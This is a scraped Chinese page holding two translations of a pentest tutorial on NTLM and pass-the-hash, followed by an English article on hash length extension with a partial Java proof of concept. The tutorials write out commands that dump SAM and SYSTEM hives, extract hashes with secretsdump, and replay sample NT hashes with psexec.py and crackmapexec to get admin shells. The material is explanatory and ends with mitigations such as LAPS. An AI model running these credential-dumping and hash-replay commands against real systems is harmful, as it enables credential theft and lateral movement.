精华内容
下载资源
问答
  • 在这种情况下,称为Pass The Hash(传递哈希)的技术被广泛应用,使审核员成为计算机上的管理员。HTLM协议NTLM协议是在Microsoft环境中使用的一种身份验证协议,特别是,它允许用户向服务器证明自己是谁,以便使用该...

    c2066e04e1afb98e357fdd6e29747589.png

    在渗透测试期间,为了提高审核员对信息系统的权限,很多人都会选择横向移动方法。在这种情况下,称为Pass The Hash(传递哈希)的技术被广泛应用,使审核员成为计算机上的管理员。

    HTLM协议

    NTLM协议是在Microsoft环境中使用的一种身份验证协议,特别是,它允许用户向服务器证明自己是谁,以便使用该服务器提供的服务。注意:在本文中,术语“服务器”是在客户端/服务器意义上使用的,“服务器”很可能是一个工作站。

    0e69be2f7aba4c0818fd456c810cbdd2.png

    有两种可能的情况:1. 用户使用服务器的本地帐户的凭据,在这种情况下,服务器在其本地数据库中便含有用户的秘密,将能够对用户进行身份验证。2. 在Active Directory环境中,用户在身份验证期间使用域帐户,在这种情况下,服务器必须要求域控制器验证用户提供的信息。在这两种情况下,身份验证都是从客户端和服务器之间的挑战/响应阶段开始的。

    挑战/响应

    使用挑战/响应原则,以便服务器验证用户是否知道他正在验证的帐户的秘密,而不需要通过网络传递密码。这被称为零知识证明。整个过程分3步:1.协商:客户端告诉服务器它想要对其进行身份验证(NEGOTIATE_MESSAGE)。2.挑战:服务器向客户端发送一个挑战。这只不过是一个64位的随机值,随每个身份验证请求而变化(CHALLENGE_MESSAGE)。3.响应:客户端使用其密码的哈希版本作为密钥加密先前接收到的挑战,并将此加密版本连同其用户名和域(AUTHENTICATE_MESSAGE)返回给服务器。

    e309ede331a320cc9b01f7d174ca0171.png

    你可以看到用户管理员试图连接到计算机LKAPP01.lion.king。f937f15d20fa95bf77e056c8fc545d9a.pngNTLM交换框顶部是红色的,底部是服务器响应CHALLENGE_MESSAGE中包含的信息。在这些交换之后,服务器拥有两件东西:1. 发送给客户端的挑战;2. 客户端的响应被自身的秘密加密了。要完成身份验证,服务器只需检查客户端发送的响应的有效性。但在那之前,让我们来检查一下客户的秘密。

    身份验证的秘密

    我们说过,客户端使用一个哈希版本的密码作为密钥,原因如下:为了避免在服务器上以明文形式存储用户密码,它是存储的密码的哈希值。现在,此哈希是NT哈希,它不过是MD4函数的结果,不含盐值。
    NThash = MD4(password)
    综上所述,当客户端进行身份验证时,它使用其密码的MD4指纹来加密挑战。然后,让我们看看接收到此响应后服务器端会发生什么。

    身份验证

    如前所述,有两种不同的身份验证情况。首先,用于身份验证的帐户是一个本地帐户,因此服务器知道这个帐户,并拥有该帐户的秘密副本。第二种是使用域帐户,在这种情况下服务器不知道这个帐户或它的秘密,它必须将身份验证委托给域控制器

    本地账户

    在使用本地帐户进行身份验证的情况下,服务器将使用用户的密钥(更确切地说是用户秘密的MD4哈希) 对发送给客户端的挑战进行加密。然后,它将检查其操作的结果是否等于客户端的响应,从而证明用户拥有正确的秘密。如果没有,则用户使用的密钥不是正确的,因为挑战的加密没有给出预期的密钥。为了执行此操作,服务器需要存储本地用户及其密码的哈希。这个数据库的名称是SAM(安全帐户管理器)。可以在注册表中找到SAM,特别是使用regedit工具时,但只能作为系统访问。不过,还可以使用psexec打开:psexec.exe -i -s regedit.exe

    a36fb88c8fd73486bf0fe9a6d2bd4cc8.png

    副本也位于C:\Windows\System32\SAM的磁盘上,因此,它包含本地用户列表及其哈希密码,以及本地组列表。更准确地说,它包含了哈希的加密版本。但是,由于解密它们所需的所有信息也在注册表(SAM和SYSTEM)中,所以我们可以肯定地说哈希存储在其中。如果你想了解解密机制是如何工作的,你可以查看secretsdump.py代码或Mimikatz代码。可以备份SAM和SYSTEM数据库,以提取用户的哈希密码数据库。首先,我们将两个数据库保存在一个文件中。
    reg.exe save hklm\sam save.savereg.exe save hklm\system system.save
    然后,我们可以使用secretsdump.py来提取这些哈希。
    secretsdump.py -sam sam.save -system system.save LOCAL

    2b1501c55aa77ee532dd1c159faa8fcb.png

    以上就是整个验证过程。ea7746af821919fdbc62afd781f9a8ae.png由于服务器发送了挑战(1),并且客户端使用其秘密的哈希值对该挑战进行加密,然后使用其用户名(2)将其发送回服务器,因此服务器将在其SAM中查找用户密码的哈希值数据库(3)。收到挑战后,它还将加密先前使用此哈希(4)发送的挑战,并将其结果与用户返回的挑战进行比较。如果相同(5),则说明用户已通过身份验证!否则,用户没有提供正确的秘密。

    域账户

    当使用域帐户进行身份验证时,用户的NT哈希不再存储在服务器上,而是存储在域控制器上。用户希望对其进行身份验证的服务器接收其挑战的答案,但无法检查该答案是否有效。它将把这个任务委托给域控制器。为此,它将使用Netlogon服务,该服务能够与域控制器建立安全连接。此安全连接称为安全通道,之所以可以进行这种安全连接,是因为服务器知道自己的密码,而域控制器也知道服务器密码的哈希值,他们可以安全地交换会话密钥并安全地进行通信。我不会详细介绍,但是想法是服务器将以NETLOGON_NETWORK_INFO的结构将不同的元素发送到域控制器:1. 客户端的用户名(Identity);2. 先前发送给客户端的挑战(LmChallenge);3. 客户端发送的对挑战的响应(NtChallengeResponse)。域控制器将在其数据库中查找用户的NT哈希,对于域控制器,它不在SAM中,因为它是一个试图进行身份验证的域帐户。这次它位于一个名为NTDS.DIT的文件中,该文件是所有域用户的数据库。检索NT哈希后,它将使用该哈希和挑战计算预期的响应,并将此结果与客户的响应进行比较。然后,一条消息将被发送到服务器(NETLOGON_VALIDATION_SAM_INFO4),指示客户端是否经过身份验证,它还将发送一组关于用户的信息。这与使用Kerberos身份验证时在PAC中发现的信息相同。以下就是一个域控制器的验证过程:5511b5c7c1b4f0f062ca0bdef0c2057b.png与以前一样,服务器发送挑战(1),客户端使用其秘密的哈希值对该挑战进行加密,并将其连同用户名和域名一起发送回服务器(2)。这次服务器将使用Netlogon服务(3)在安全通道中将此信息发送到域控制器。掌握了这些信息后,域控制器还将使用在其NTDS.DIT数据库(4)中找到的用户哈希来对挑战进行加密,然后将其结果与用户返回的结果进行比较。如果相同(5),则对用户进行身份验证。否则,用户未提供正确的秘密。在这两种情况下,域控制器都将信息发送到服务器(6)。

    NT哈希的安全隐患

    在这些交换中从来不使用明文密码,而是使用名为NT哈希的哈希密码,它是明文密码的简单哈希。仔细想想,窃取明文密码或窃取哈希值是完全相同的。因为它是用来响应挑战/响应的哈希,所以拥有该哈希可以对服务器进行身份验证。因此,将密码以明文显示根本没用。可以这么说,在大多数情况下,使用NT哈希与使用明文密码是一样的。

    传递哈希

    如果攻击者知道一台计算机的本地管理员的NT哈希,那么他可以使用这个哈希轻松地对该计算机进行身份验证。类似地,如果他拥有主机上本地管理组成员的域用户的NT哈希,他也可以作为本地管理员向该主机进行身份验证。

    本地管理员

    现在,让我们看看它在实际环境中是如何工作的:一名新员工来到公司,公司为他/她提供了一个工作站。IT部门没有足够的时间为每个员工从头安装和配置Windows系统。因此,先设置一个安装和配置Windows系统的版本,以满足一个新员工的所有基本需求和要求。然后,这个称为master的基本版本保存在某处,并且该版本的副本提供给每个新手。这意味着,本地管理员帐户在所有使用相同主服务器初始化的工作站中是相同的。如果其中一台主机被破坏,并且攻击者从工作站的本地管理员帐户提取NT哈希,因为所有其他工作站都具有相同的管理员帐户和相同的密码,那么它们也将具有相同的NT哈希。然后,攻击者可以使用在受损主机上找到的哈希,并在所有其他主机上重播该哈希,以便在这些主机上进行身份验证,以上的整个过程就叫做传递哈希。

    bf24b0cbebbcccc2b9933f87c005ba19.png

    例如,我们发现用户管理员的NT哈希是20cc650a5ac276a1cfc22fbc23beada1。我们可以在另一台计算机上重播它,并希望这台计算机以同样的方式配置。以下示例使用来自Impacket套件的psexec.py工具:

    253cd00003059b33569732d0d52716bc.png

    没错,这个哈希也可以在新主机上使用,而且我们在它上面有一个管理员shell。

    特权域账户

    还有另一种使用传递哈希技术的方法,假设对于远程公园管理,在Active Directory中有一个“HelpDesk”组。为了使该组的成员能够管理用户的工作站,将该组添加到每个主机的本地“Administrators”组中。此时,这个本地组包含在计算机上具有管理权限的所有对象中。你可以使用以下命令列出它们:
    # Machine françaisenet localgroup Administrateurs# ~Reste du mondenet localgroup Administrators
    结果将是这样的:
    Nom alias       AdministrateurCommentaire     Les membres du groupe Administrateurs disposent d'un accès complet et illimité à l'ordinateur et au domaineMembres-------------------------AdministrateurADSEC\Admins du domaineADSEC\HelpDesk
    因此,我们拥有ADSEC \ HelpDesk域组,该域组是主机的本地管理员组的成员。如果攻击者从该组中的一个成员那里窃取了NT哈希,则他可以使用管理员列表中的ADSEC \ HelpDesk在所有主机上进行身份验证。与本地帐户相比,其优势在于,无论使用什么主机来设置计算机,GPO都会将该组添加到主机的配置中。该帐户具有更广泛的管理权限的可能性更大,而与操作系统和计算机设置过程无关。因此,当请求身份验证时,服务器会将身份验证委派给域控制器,如果身份验证成功,则域控制器将向服务器发送有关用户的信息,例如用户名,用户所属的组列表,密码到期日期等。然后,服务器将知道该用户是HelpDesk组的一部分,并向该用户授予管理员访问权限。另一个示例:我们发现用户jsnow的NT哈希为89db9cd74150fc8d8559c3c19768ca3f。此帐户是HelpDesk组的一部分,该组是所有用户工作站的本地管理员,让我们在另一台主机上使用他的哈希。

    d22fdace43d02fe8cb04ba38f7c69ede.png

    同样,身份验证成功了,我们成为了目标设备的管理员。

    自动化

    既然我们已经了解了NTLM身份验证的工作方式,以及为什么可以使用NT哈希对其他主机进行身份验证,那么通过并行化任务来自动对不同目标进行身份验证以获取尽可能多的信息将是非常有用的。在此,我建议使用CrackMapExec工具。
    # Compte local d'administrationcrackmapexec smb --local-auth -u Administrateur -H 20cc650a5ac276a1cfc22fbc23beada1 10.10.0.1 -x whoami# Compte de domainecrackmapexec smb -u jsnow -H 89db9cd74150fc8d8559c3c19768ca3f -d adsec.local  10.10.0.1 -x whoami
    以下就是以simba用户为管理员的示例说明:

    6432563f93f3ac78dff746bff1a01ba6.png

    传递哈希是在一些计算机上执行,然后计算机随后遭到破坏。已经向CrackMapExec传递了一个参数,来列出当前登录到这些计算机上的用户。拥有连接的用户列表很好,但是拥有他们的密码或NT哈希会更好!为此,我开发了lsassy,——远程提取lsass秘密的工具。

    2d019bd8303e5cccbf6bd31c1743fd34.png

    我们从连接的用户中检索所有NT哈希,由于我们已经是这些计算机的管理员,所以不会显示来自计算机帐户的文件。

    传递哈希限制

    传递哈希值是一项在服务器上启用NTLM身份验证时始终有效的技术,默认情况下,该技术是有效的。但是,Windows中有一些机制可以限制或可能限制管理任务。

    在Windows上,使用访问令牌执行权限管理,从而可以知道谁有权做什么。“Administrators”组的成员有两个令牌。一个具有标准用户权限,另一个具有管理员权限。默认情况下,当管理员执行任务时,它是在标准的、有限的上下文中执行的。另一方面,如果需要管理任务,那么Windows将显示这个称为UAC(用户帐户控制)的众所周知的窗口。

    132346fa39818ce36722e6ee623f9223.png

    可以看到出现用户警告:应用程序请求管理权限。那么远程执行的管理任务是什么呢?有两种可能。1. 属于主机“Administrators”组成员的域帐户都可以请求它们,在这种情况下,不会为此帐户激活UAC,他可以执行其管理任务。2. 是由主机的“Administrators”组成员的本地帐户请求的,在这种情况下,UAC在某些情况下是启用的,但不是一直启用。为了理解第二种情况,让我们看一下两个注册表项,这两个注册表项有时是未知的,但是当使用本地管理帐户进行NTLM身份验证后尝试执行管理任务时,有两个注册表项(LocalAccountTokenFilterPolicy,FilterAdministratorToken)扮演了关键角色。下表总结了这两个注册表项的每种组合,每种组合都可以通过主机的身份验证。

    5fc8e4bdb3c910f1cd7306f3b586b7a6.png

    总结

    如今,NTLM身份验证仍在公司中广泛使用。以我的经验,我从未见过能够在整个网络上禁用NTLM的环境。这意味着,传递哈希的攻击仍然非常有效。该技术是NTLM协议固有的,但是可以通过避免在所有工作站上使用相同的本地管理密码来缓解。微软的LAPS 解决方案是其中一种解决方案,它可以通过确保所有工作站上的密码(也包括NT哈希)都不同。

    参考及来源:

    https://en.hackndo.com/pass-the-hash/

    原文来源:嘶吼专业版

    17d0b3b46cdcc62332309136c6a789db.png

    展开全文
  • 在这种情况下,被称为“传递哈希”的技术就非常有用,可以成为一组计算机上的管理员。我们将在这里详细介绍这种技术的工作原理。 NTLM协议 NTLM协议是Microsoft环境中使用的身份验证协议。特别是,它允许用户证明...

    在内部入侵测试期间,横向移动是白帽子黑客技术人员寻求信息以提高他或他对信息系统的特权的重要组成部分。在这种情况下,被称为“传递哈希”的技术就非常有用,可以成为一组计算机上的管理员。我们将在这里详细介绍这种技术的工作原理。

    NTLM协议

    NTLM协议是Microsoft环境中使用的身份验证协议。特别是,它允许用户证明自己对服务器的身份,以便使用该服务器提供的服务。

    注意:在本文中,术语“服务器”在客户端/服务器的意义上使用。“服务器”很可能是工作站。

    image

    有两种可能的方案:

    (1)用户使用服务器本地帐户的凭据,在这种情况下,服务器在其本地数据库中具有用户的机密,并且能够对用户进行身份验证;

    (2)或在Active Directory环境中,用户在身份验证过程中使用域帐户,在这种情况下,服务器将不得不要求域控制器验证用户提供的信息。

    在这两种情况下,身份验证都从客户端和服务器之间的质询/响应阶段开始。

    挑战-回应

    使用质询/响应原则,以便服务器验证用户是否知道他要进行身份验证的帐户的机密,而无需通过网络传递密码。这就是所谓的零知识证明。交换过程分为三个步骤:

    1. 协商:客户端告诉服务器它想对其进行身份验证(NEGOTIATE_MESSAGE)。
    2. 质询:服务器向客户端发送质询。这不过是随每个身份验证请求(CHALLENGE_MESSAGE)而变化的64位随机值。
    3. 响应:客户端使用其密码的哈希版本作为密钥来加密先前收到的质询,并将此加密版本以及其用户名以及可能的域(AUTHENTICATE_MESSAGE)返回给服务器。

    如下图:

    image

    你可以看到用户管理员试图连接到计算机LKAPP01.lion.king。

    image

    NTLM交换的顶部用红色框起来,底部是服务器响应中包含的信息CHALLENGE_MESSAGECHALLENGE_MESSAGE。在这里您将找到挑战。

    在进行这些交换之后,服务器拥有两件事:

    1.发送给客户的挑战;

    2.用他的秘密加密的客户响应;

    要完成身份验证,服务器只需检查客户端发送的响应的有效性。但是在此之前,让我们先检查一下客户的秘密。

    认证机密

    客户端使用密码的哈希版本作为密钥的原因如下:为了避免在服务器上以明文形式存储用户密码。它是存储的密码的哈希值。现在,此哈希是NT哈希,它不过是MD4函数的结果,不含盐值。

    NThash = Md4(password)

    综上所述,当客户端进行身份验证时,它使用其密码的MD4指纹来加密挑战。然后,让我们看一下收到此响应后在服务器端发生的情况。

    认证方式

    如前所述,有两种不同的方案。首先是用于身份验证的帐户是本地帐户,因此服务器知道此帐户,并且具有该帐户的机密副本。第二个是使用域帐户,在这种情况下,服务器不知道该帐户或其秘密。它必须将身份验证委派给域控制器。

    本地帐号

    在使用本地帐户进行身份验证的情况下,服务器将使用用户的私钥或用户密钥的MD4哈希对发送给客户端的质询进行加密。然后,它将检查其操作结果是否等于客户端的响应,从而证明用户具有正确的秘密。如果不是,则用户使用的密钥不是正确的密钥,因为挑战的加密无法提供预期的密钥。

    为了执行此操作,服务器需要存储本地用户及其密码的哈希。该数据库的名称是SAM(安全帐户管理器)。可以在注册表中找到SAM,尤其是使用该regedit工具作为系统访问。可以使用psexec作为SYSTEM打开:

    psexec.exe -i -s regedit.exe

    image

    副本也位于磁盘中:C:\Windows\System32\SAM。因此,它包含本地用户列表及其哈希密码,以及本地组列表。更准确地说,它包含哈希的加密版本。但是因为解密它们所需的所有信息也都在注册表中(SAM和SYSTEM),所以我们可以肯定地说哈希存储在其中。如果你想了解解密机制的工作原理,可以查看secretsdump.py代码Mimikatz代码都是可以的。

    可以备份SAM和SYSTEM数据库以提取用户的哈希密码数据库。

    首先,我们将两个数据库保存在一个文件中。

    reg.exe save hklm\sam save.save
    
    reg.exe save hklm\system system.save
    

    然后,我们可以使用secretsdump.py提取这些哈希。

    secretsdump.py -sam sam.save -system system.save LOCAL

    image

    综上所述,这是验证过程。

    image

    由于服务器发送质询并且客户端使用其秘密的哈希值对该挑战进行加密,然后使用其用户名将其发送回服务器,因此服务器将在其SAM中查找用户密码的哈希值数据库。收到挑战后,它还将加密先前使用该哈希发送的挑战,并将其结果与用户返回的挑战进行比较。如果相同,则说明用户已通过身份验证!否则,用户无法提供正确的机密。

    域帐号

    使用域帐户完成身份验证后,用户的NT哈希不再存储在服务器上,而是存储在域控制器上。用户想要对其进行身份验证的服务器会收到其质询的答案,但是无法检查该答案是否有效。它将把这个任务委托给域控制器。

    为此,它将使用Netlogon服务,该服务能够与域控制器建立安全连接。此安全连接称为安全通道。之所以可以进行这种安全连接,是因为服务器知道自己的密码,而域控制器也知道服务器密码的哈希值。他们可以安全地交换会话密钥并安全地进行通信。

    我不会详细介绍,但是想法是服务器将以NETLOGON_NETWORK_INFO的结构将不同的元素发送到域控制器:

    (1)客户的用户名(身份)

    (2)先前发送给客户的挑战(LmChallenge)

    (3)客户端发送的对挑战的响应(NtChallengeResponse)

    域控制器将在其数据库中查找用户的NT哈希。对于域控制器,它不在SAM中,因为它是试图进行身份验证的域帐户。这次它位于一个名为NTDS.DIT的文件中,该文件是所有域用户的数据库。检索NT哈希后,它将使用此哈希和质询计算预期的响应,并将此结果与客户端的响应进行比较。

    然后,一条消息将发送到服务器(NETLOGON_VALIDATION_SAM_INFO4),指示客户端是否已通过身份验证,并且还将发送一堆有关用户的信息。这与使用Kerberos身份验证时在PAC中找到的信息相同。

    综上所述,这是域控制器的验证过程。

    image

    与之前相同,
    (1)服务器发送质询
    (2)客户端使用其秘密的哈希值对该挑战进行加密,并将其连同用户名和域名一起发送回服务器。这次,服务器将使用Netlogon服务,
    (3)在安全通道中将此信息发送到域控制器。
    (4)拥有此信息后,域控制器还将使用在其NTDS.DIT数据库中找到的用户哈希来对质询进行加密,然后将其结果与用户返回的结果进行比较。如果相同,
    (5)对用户进行身份验证。否则,用户未提供正确的机密。在两种情况下,域控制器都将信息发送到服务器。

    NT哈希所存在的安全隐患

    在这些交换中从来不是用明文密码,而是使用名为NT哈希的哈希密码,他就是明文密码的简单哈希。

    仔细想想,窃取纯文本密码或窃取哈希值是完全相同的。因为它是用于响应质询/响应的哈希,因此拥有哈希可以使用户向服务器进行身份验证。所以说将密码以明文显示根本没用。甚至可以说,在大多数情况下,拥有NT哈希与使用明文密码是相同的

    传递哈希

    如果攻击者知道计算机本地管理员的NT哈希,则他可以使用此哈希轻松地向该计算机进行身份验证。同样,如果他具有主机上本地管理组成员的域用户的NT哈希,则他还可以作为本地管理员向该主机进行身份验证。

    本地管理员

    现在,让我们看看它在实际环境中如何工作:一位新员工到来,IT为他/她提供了一个工作站。IT部门没有足够的时间为每个员工从头开始安装和配置Windows系统。因此先设置一个安装和配置Windows系统的版本,以满足新员工的所有基本需求。这个称为master的基本版本保存在某处,并且该版本的副本提供给每个新手。

    这意味着在使用同一主服务器初始化过的所有工作站上,本地管理员帐户相同。如果这些主机之一受到攻击,并且攻击者从工作站的本地管理员帐户提取NT哈希,因为所有其他工作站都具有相同的管理员帐户和相同的密码,那么它们也将具有相同的NT哈希。然后,攻击者可以使用在受感染主机上找到的哈希,并在所有其他主机上重播该哈希以在它们上进行身份验证,以上的整个过程就叫做传递哈希

    image

    例如,我们发现用户管理员的NT哈希20cc650a5ac276a1cfc22fbc23beada1。我们可以在另一台计算机上重播它,并希望这台计算机以同样的方式配置。以下示例使用来自Impacket套件的psexec.py工具:

    image

    此哈希也可以在新主机上使用,并且我们在它上面有一个管理员shell.

    特权域帐户

    还有另一种使用通过哈希技术的方法。假设对于远程公园管理,Active Directory中有一个“ HelpDesk”组。为了使该组的成员能够管理用户的工作站,将该组添加到每个主机的本地“管理员”组中。此本地组包含对计算机具有管理权限的所有实体。

    你可以使用以下命令列出它们:

    # Machine française
    
    net localgroup Administrateurs
    
    # ~Reste du monde
    
    net localgroup Administrators
    

    结果将是这样的:

    Nom alias       Administrateur
    
    Commentaire     Les membres du groupe Administrateurs disposent d'un accès complet et illimité à l'ordinateur et au domaine
    
    Membres
    
    -------------------------
    
    Administrateur
    
    ADSEC\Admins du domaine
    
    ADSEC\HelpDesk
    

    因此,我们拥有ADSEC\HelpDesk域组,该域组是主机的本地管理员组的成员。如果攻击者从该组成员之一中窃取了NT哈希,则他可以ADSEC\HelpDesk在管理员列表中的所有主机上进行身份验证。

    与本地帐户相比,其优势在于,无论使用什么主服务器来设置计算机,该组都将由GPO添加到主机的配置中。该帐户具有独立于操作系统和计算机设置过程的更广泛的管理权限的可能性更大了。因此,当请求身份验证时,服务器会将身份验证委派给域控制器,如果身份验证成功,则域控制器将向服务器发送有关用户的信息,例如用户名,用户所属的组列表,密码到期日期等

    然后,服务器将知道该用户是HelpDesk组的一部分,并向该用户授予管理员访问权限。

    然后,服务器将知道该用户是HelpDesk组的一部分,并向该用户授予管理员访问权限。

    另一个示例:我们发现用户的NT哈希jsnow为89db9cd74150fc8d8559c3c19768ca3f。此帐户是HelpDesk组的一部分,该组是所有用户工作站的本地管理员。让我们在另一台主机上使用他的哈希。

    image

    同样,身份验证有效,我们成为了目标的管理员。

    自动化

    既然我们已经了解了NTLM身份验证的工作原理,以及为什么可以使用NT哈希对其他主机进行身份验证,则能够在不同目标上自动进行身份验证以通过并行化任务来获取尽可能多的信息将非常有用。

    在此,建议使用CrackMapExec工具。CrackMapExec工具带有清晰密码或NT哈希的目标,凭据列表作为输入,并且可以在已对其进行身份验证的目标上执行命令。

    # Compte local d'administration
    
    crackmapexec smb --local-auth -u Administrateur -H 20cc650a5ac276a1cfc22fbc23beada1 10.10.0.1 -x whoami
    
    # Compte de domaine
    
    crackmapexec smb -u jsnow -H 89db9cd74150fc8d8559c3c19768ca3f -d adsec.local  10.10.0.1 -x whoami
    

    以下是以simba用户为管理员的示例说明:

    image

    传递哈希是在一些计算机上执行,然后计算机随后遭到破坏。已经向CrackMapExec传递了一个参数,来列出当前登录到这些计算机上的用户。

    我们从连接的用户中检索所有NT哈希。由于我们已经是这些机器的管理员,因此不会显示这些机器帐户中的帐户,因此它们对我们没有用的。

    通过哈希限制

    传递散列是一项在服务器上启用NTLM身份验证时始终有效的技术,默认情况下,该技术是有效的。但是,Windows中有一些机制可以限制或可能限制管理任务。

    在Windows上,使用Access令牌执行权限管理,这使得知道谁有权执行操作成为可能。“管理员”组的成员具有两个令牌。一个具有标准用户权限,另一个具有管理员权限。默认情况下,当管理员执行任务时,它是在标准的受限上下文中完成的。另一方面,如果需要管理任务,那么Windows将显示的这个此称为UAC(用户帐户控制)。

    image

    可以看到出现用户警告:该应用程序请求管理权限。

    那么远程执行哪些管理任务?两种情况是可能发生的。

    1.属于主机“Administrators”组成员的域帐户都可以请求它们,在这种情况下,不会为此帐户激活UAC,他可以执行管理任务。

    2.或者,它们是由主机“管理员”组成员的本地帐户请求的,在这种情况下,某些情况下(但并非始终)启用UAC。

    为了了解第二种情况,让我们看一下两个注册表项,它们有时是未知的,但是在尝试使用本地管理帐户进行NTLM身份验证之后尝试执行管理任务时,它们起着关键作用。(LocalAccountTokenFilterPolicy、FilterAdministratorToken)

    这里可以找到第一个注册表项:
    HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Policies \ System
    可以是0或1。

    默认情况下不存在,表示它是0。

    (1)如果将其设置为“ 0”(默认值),则只有内置管理员帐户(RID 500)能够在没有UAC的情况下执行管理任务。由于将启用UAC,因此其他管理员帐户(即由用户创建然后添加为本地管理员的管理员帐户)将无法执行远程管理任务,因此它们只能使用其受限的访问令牌。

    (2)如果将其设置为1,则“管理员”组中的所有帐户都可以执行内置或不内置的远程管理任务。

    总结一下,这是两种情况:

    1)LocalAccountTokenFilterPolicy = 0:仅RID 500“管理员”帐户可以执行远程管理任务

    2)LocalAccountTokenFilterPolicy = 1:“管理员”组中的所有帐户都可以执行远程管理任务

    FilterAdministratorToken

    第二个注册表项位于注册表中的同一位置:
    HKLM \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Policies \ System
    也可以是0或1。

    默认情况下,它也默认为“ 0”。

    (1)如果为0,则内置管理员帐户(RID 500)可以在没有UAC的情况下执行管理任务。该密钥不影响其他帐户

    (2)如果将其设置为1,则内置管理员帐户(RID 500)也将受UAC的约束,并且除非已将第一个密钥设置为,否则它将不再能够执行远程管理任务1。

    总结一下,这是两种情况:

    1)FilterAdministratorToken = 0:内置的管理员帐户可以执行远程管理任务

    2)FilterAdministratorToken = 1:内置帐户Administrator不能执行远程管理任务,除非LocalAccountTokenFilterPolicy将其设置为1。

    概要

    这是一个小的汇总表。对于两个注册表项的每种组合,此表指示是否可以使用内置管理员帐户和非本机管理员帐户进行远程管理任务。粗体为默认值。

    image

    结论

    如今,NTLM身份验证仍在公司中广泛使用。以过往的经验来说,也从未见过能够在整个网络上禁用NTLM的环境。那这就这意味着,传递哈希的攻击仍然非常有效的。

    此技术是NTLM协议固有的,但是可以通过避免在所有工作站上使用相同的本地管理密码来限制损坏。Microsoft的LAPS解决方案是其中一种解决方案,可以通过确保所有工作站上的密码(以及NT哈希值)都不同来自动管理本地管理员密码。

    参考及来源:https://en.hackndo.com/pass-the-hash/

    免责申明:本文由互联网整理翻译而来,仅供个人学习参考,如有侵权,请联系我们,告知删除。

    展开全文
  • 哈希扩展长度攻击 在这篇文章中,我将尽力避免夏季的低迷,而将重点放在比抱怨天气更有趣的事情上-哈希长度扩展攻击。 散列长度扩展攻击并不复杂也不复杂,说实话,这只是关于如何使用散列函数。 正如我以前的一篇...

    哈希扩展长度攻击

    在这篇文章中,我将尽力避免夏季的低迷,而将重点放在比抱怨天气更有趣的事情上-哈希长度扩展攻击。

    散列长度扩展攻击并不复杂也不复杂,说实话,这只是关于如何使用散列函数。 正如我以前的一篇文章中所讨论的那样,哈希函数有多种类型,但是这篇文章着重于加密哈希函数。 我们将不分析大多数当前加密哈希函数所基于的Merkle–Damgard构造的结构。 需要了解的事实如下:

    • 哈希函数以固定的块大小运行
    • 输入数据被分割成适合块大小的部分
    • 如果输入数据(或其一部分)小于块大小,则会填充缺少的字节
    • 哈希值表示哈希函数的内部状态!

    这意味着即使原始输入仍然未知,也可以选择在知道哈希值的情况下继续进行哈希计算。 唯一要做的就是将哈希函数的内部状态重置为哈希值之一。

    这只是事实的一半,因为如果我们不知道输入数据,就不知道需要多少填充来完成哈希操作。

    哈希函数执行了以下操作(在例如调用Java engineDigest()之后):
    继续直到到达最后一个块

    • 垫最后一块
    • 输出摘要
    • 重置内部状态

    真正散列的是这样的东西

    h(m)=数据+填充

    如果我们想继续散列,我们必须猜测数据的长度,以确定确切的填充。 一旦我们猜出了正确的长度,就可以将哈希扩展到以下内容

    h(m)=(数据+填充)+ ourExtension + newPadding

    幸运的是,填充格式必须是确定性的(以便通过传递相同的输入数据来重新创建哈希值),因此知道数据的长度就可以重新填充。 完成这些步骤后,在输出摘要时,我们便具有哈希函数的完整内部状态。

    如何使用

    2009年, Rizzo和Duong使用哈希长度扩展攻击来危害Flickr 为了简单起见,我们进行以下假设:

    Web服务通过基于哈希函数计算某种消息身份验证代码(MAC)来保护其REST API

    MAC = h(SECRET_PASSWORD +资源)

    对受保护资源的有效REST查询如下所示

    http://…/ someAction?resource = validMACsOnly&mac = xxxxxxxx

    如果附加的MAC有效,则用户只能对资源执行所需的操作。 通过尝试猜测秘密密码来进行攻击似乎是一种蛮力任务……

    攻击

    有了如何扩展哈希值的知识,就可以在不知道秘密密码的情况下提供有效的MAC。 为此,在输出摘要时,必须使用内部状态重置使用的哈希函数。 因此,我们将mac参数的值设置为哈希函数的内部状态。 有了这些前提条件,我们就能计算出有效的MAC。

    但这只是一半,因为服务器仅在所计算的MAC属于所传递的资源参数时才授予访问权限。 因此,下一步,我们必须猜测原始填充。 要获得该填充,我们只需尝试所有可能的填充,直到其中之一适合为止。

    如果我们设法正确填充,我们就完成了。 因此,在进行旧的填充(填充已知块大小的块是必需的)之后,我们开始在新的块中进行。 因此,服务器验证以下内容

    h(m)=(oldData + recoveryPadding)+(ourExtension + newPadding)请记住,h(m)=(oldData + recoveryPadding)是导致已知MAC的旧数据。 扩展数据从新块开始,这意味着旧填充被视为输入数据的一部分,而不是填充。

    修改后的查询如下所示:

    http://…/ someAction?resource = validMACsOnly \ x80 \ x00…\ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ x00 \ xD8&mac = xxxxxxxx

    填充上的一些单词:

    • 填充以\ x80开头
    • 所需的填充空间用\ x00s填充
    • 最后8个字节代表数据长度(无填充)

    对于渴望使用此功能的每个人,这里是计算有效扩展的代码。 对于PoC,修补了通用的SHA1库以访问其内部状态。 修改后的类来自Java安全提供程序。

    import java.nio.charset.Charset;
    import java.security.DigestException;
    import java.util.Formatter;
    
    /**
     * Hash length extension attack - PoC.
     *
     * @author Christopher Meyer - christopher.meyer@rub.de
     * @version 0.1
     *
     * Jul 25, 2012
     */
    public class HashLengthExtension {
    
        /**
         * Secret key.
         */
        private static final String KEY = "NoNeedToRecoverKey";
        /**
         * String to be MACed together with the key.
         */
        private static final String TOMAC = "SecuredResource";
        /**
         * Extension string to be added to the MAC.
         */
        private static final String EXTENSION = "TheResourceRemainsUnsecured";
        /**
         * Static Hash algorithm instance.
         */
        private static final SHA1 HASH_ALGO = new SHA1();
        /**
         * Blocksize of the algorithm in bytes.
         */
        private static final int BLOCKSIZE = 64;
        /**
         * Padding.
         */
        private static final byte[] PADDING = new byte[136];
    
        static {
            // the first padding byte is 0x80 - by definition
            PADDING[0] = (byte) 0x80;
        }
    
        /**
         * Computes a valid input that extends a given hash.
         *
         * @param args the command line arguments
         */
        public static void main(String[] args) throws DigestException {
            byte[] extensionBytes = EXTENSION.getBytes(Charset.forName("UTF8"));
            byte[] toMACBytes = TOMAC.getBytes(Charset.forName("UTF8"));
            byte[] originalMAC = createMAC(toMACBytes);
            System.out.println("Original MAC  : "
                    + buildHexString(originalMAC));
    
            byte[] macCandidate;
            byte[] hashInput;
            int pointer = 0;
    
            System.out.println("Recover digest state...");
